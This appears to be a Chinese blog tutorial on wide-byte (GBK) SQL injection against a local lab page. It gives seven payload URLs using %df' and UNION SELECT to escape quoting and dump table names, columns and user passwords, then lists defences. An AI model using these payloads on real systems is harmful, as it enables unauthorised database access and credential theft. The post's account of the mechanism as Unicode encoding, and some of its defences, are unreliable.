宽字节注入实例

宽字节注入

魔术引号是一种PHP的特性,它在处理用户输入数据时自动将一些符号加上反斜杠,以避免这些符号在后续处理中造成编程错误或安全漏洞。具体来说,魔术引号会自动将单引号(')、双引号(")、反斜杠(\)和NULL(\0)等字符加上反斜杠,以确保它们在数据库操作、文件操作、输出HTML等场合中的正确性和安全性。不过,由于魔术引号可能在某些情况下造成意想不到的错误,因此自PHP 5.4开始已经废弃了这一特性。

常见的编码类型包括ASCII编码、Unicode编码、UTF-8编码、GBK编码、ISO-8859编码等。其中,ASCII编码只包含128个字符,Unicode编码则支持全球范围内的文字符号,UTF-8编码是一种变长编码方式,可以兼容ASCII编码,GBK编码是中文编码,ISO-8859编码是ISO制定的多语言字符集编码。

宽字节注入是一种针对网站及应用程序的攻击技术,也是一种针对SQL注入的特殊形式。它的原理是在SQL语句中使用了非ASCII字符,也就是说,攻击者在SQL注入时使用了双字节或三字节字符,将输入的SQL语句编码成Unicode格式,从而绕过了应用程序的过滤和验证,并最终将恶意代码注入到数据库中。

宽字节注入实例:

1.逃逸:

http://192.168.43.61/web/sql/kuanzifu.php?id=1%df'

2.判断数据库表字段数

http://192.168.43.61/web/sql/kuanzifu.php?id=1%df' order by 6 --+

3.判断输出字段

http://192.168.43.61/web/sql/kuanzifu.php?id=-1%df' union select 1,2,3,4,5,6 --+

4.爆破库名

http://192.168.43.61/web/sql/kuanzifu.php?id=-1%df' union select 1,database(),3,4,5,6 --+

5.爆破表名

http://192.168.43.61/web/sql/kuanzifu.php?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6 --+

6.爆破字段

http://192.168.43.61/web/sql/kuanzifu.php?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),3,4,5,6 --+

7.爆破数据

http://192.168.43.61/web/sql/kuanzifu.php?id=-1%df' union select 1,(select group_concat(password) from users ),3,4,5,6 --+

以下是一些防范措施:

1.过滤非ASCII字符:在输入校验阶段,过滤所有非ASCII码字符。在过滤时,把字符编码转换为Unicode编码,遵循标准的字符集过滤,避免对应用程序或数据造成损害。

2.控制用户输入: 限制用户输入特定字符,并对输入数据进行参数化处理,在SQL语句的执行过程中进行参数替换,这样能够防止SQL注入攻击。

3.使用预编译语句: 预编译语句是指应用程序执行的SQL语句事先经过编译和优化,漏洞可在编译期间就被修补。使用预编译语句时,应用程序不去直接拼接SQL语句,而是将参数和语句分开传送到数据库中进行处理,并将结果返回给应用程序。

4.报警机制: 当攻击者试图使用宽字节注入攻击时,就会产生异常情况。可以通过设置报警机制来及早发现攻击。

5.应用程序修补: 利用安全工具对应用程序进行扫描和漏洞测试,及时发现和修补漏洞。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值